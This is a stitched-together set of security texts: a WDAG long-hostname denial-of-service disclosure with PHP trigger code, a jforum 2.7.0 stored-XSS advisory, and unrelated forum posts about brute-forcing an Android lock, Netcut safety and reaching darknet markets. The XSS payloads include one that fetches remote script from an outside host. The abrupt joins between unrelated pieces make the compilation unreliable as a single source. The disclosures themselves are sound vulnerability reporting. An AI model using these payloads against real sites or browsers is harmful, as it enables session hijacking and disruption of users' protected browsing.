Windows Defender Application Guard (also known as "WDAG", Microsoft Defender Application Guard, and "MDAG") can be closed by any script or website loaded in WDAG by redirecting the browser to a URL with a long hostname (e.g, 10,000 characters long). This can cause a denial-of-service condition.

Impact: 4.3
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L/E:H/RL:U/RC:C

## Details

Application Guard will immediately close if there is any attempt by a user or website to load a URL where the hostname exceeds a certain length. The exact length needed is difficult to determine, but the issue occurs reliably with hostnames longer than 5,100 characters. A Microsoft engineer on the WDAG team indicated that this is working as designed, stating "This doesn't appear to be a crash. We quickly, but gracefully, tear down the container browser if container<-host messages are too large."

To exploit this issue, an attacker first needs to determine that the user is viewing the website in WDAG. This is easy to determine on the server side as WDAG sends an HTTP header named `x-ms-applicationguard-initiated` with a value of `1` with all requests.

Using these details, a website loaded inside of WDAG is able to close WDAG on the visitor's host operating system with the following PHP code:

if (isset($_SERVER['HTTP_X_MS_APPLICATIONGUARD_INITIATED'])) {
header('Location: https://'.str_repeat('a', 10000).'.example.com');
}

JavaScript executed in WDAG is able to redirect to a similar URL and cause WDAG to close, but a method of detecting WDAG on the client side has not yet been found.

You can find a Proof-of-Concept here: https://research.jdgregson.com/poc/wdag/dos1/
You can find this writeup online here: https://github.com/jdgregson/Disclosures/tree/master/microsoft/wdag-dos-long-hostname

## Impact

The impact of this vulnerability is Denial-of-Service. A malicious website is able to close WDAG at will, which can be used to prevent users from loading certain pages in WDAG. This may cause the user to load the page outside of WDAG on the host operating system.

The denial-of-service condition is short-lived as the user can simply open WDAG again. However, all of their tabs will be closed. Frequent closing of WDAG resulting in data and research loss may harm user adoption of WDAG.

## Disclosure Timeline

- 01/26/2021: Issue reported to WDAG team at Microsoft.
- 01/27/2021: Microsoft engineer responded indicating that WDAG is working as designed and the issue is not a buffer overflow.
- 08/31/2021: Full disclosure.

jforum 2.7.0 Cross Site Scripting

hi,

I found a vulnerability in the jforum 2.7.0. It is a storage cross site
script vulnerability. The place is the user's profile - signature. The
technique of the vulnerability is the same as that described in this
article "STORED CROSS SITE SCRIPTING IN BBCODE" (
https://mindedsecurity.com/advisories/msa130510/), and the POC is:

color tag:
[color=red" onMouseOver="alert('xss')]XSS[/color]
[color=red" onMouseOver="$.getScript('http://192.168.45.148:8080/evil.js')
;"]XSS[/color]
Renders into HTML:
XSS

color="red">XSS

img tag:
[img]/demo.jpg" onMouseOver="alert('xss')[/img]
Renders into HTML:
/demo.jpg

url= tag:
[url='http://www.demo.com" onMouseOver="alert('xss')']test[/url]
Renders into HTML:

target="_blank">test

through analysis, the forum has set the cookie to http-only, but the
attacker can use the $.getScript to do some evil things.

this vulnerability has been fixed in
https://sourceforge.net/p/jforum2/code/934/ .

timeline:
2021-04-21 announce the developer of Jforum by e-mail
2021-04-22 Jforum fixed the vulnerability, and will include this fix in
next release
2021-09-02 send this mail to bugtraq&fulldisclosure

Learning Brute force for android (HID)

I have a Note 9 that is currently not being used. I have a password set on it & I was wondering how I could go about learning to brute force the password.

I'm not using the phone, the amount of time it takes to get the password is irrelevant to me as its more for my personal learning. How can I go about brute forcing the password (even if it takes 10 years) I've heard of hashcat and JohnTheRipper but I'm unsure about how I would go about using them to brute force a password on a physical device through USB, I've seen some GitHub projects of older scripts made for GS5 and such, but if anyone knows of how I can get started. Things such as resources, POCs, tools I can use, etc. I would really appreciate that, all I know right now is that most end up using an HID cable which I have a very vague understanding of (just that its acts like a virtual keyboard to input touch to the phone).

Is Arcai Netcut safe?

I found it on my laptop and looking online, it had a few people saying that it had viruses, but virustotal said it had no detections. Is it safe?

Ive been trying to about 3 hours to try to get on notevil, torch, anihme, alpha bay, dream market and wallstreetmaket and none of them work. I've been lightly browsing for years now and I know all 6 of my links didn't go dead. Is my computer blacklisted?
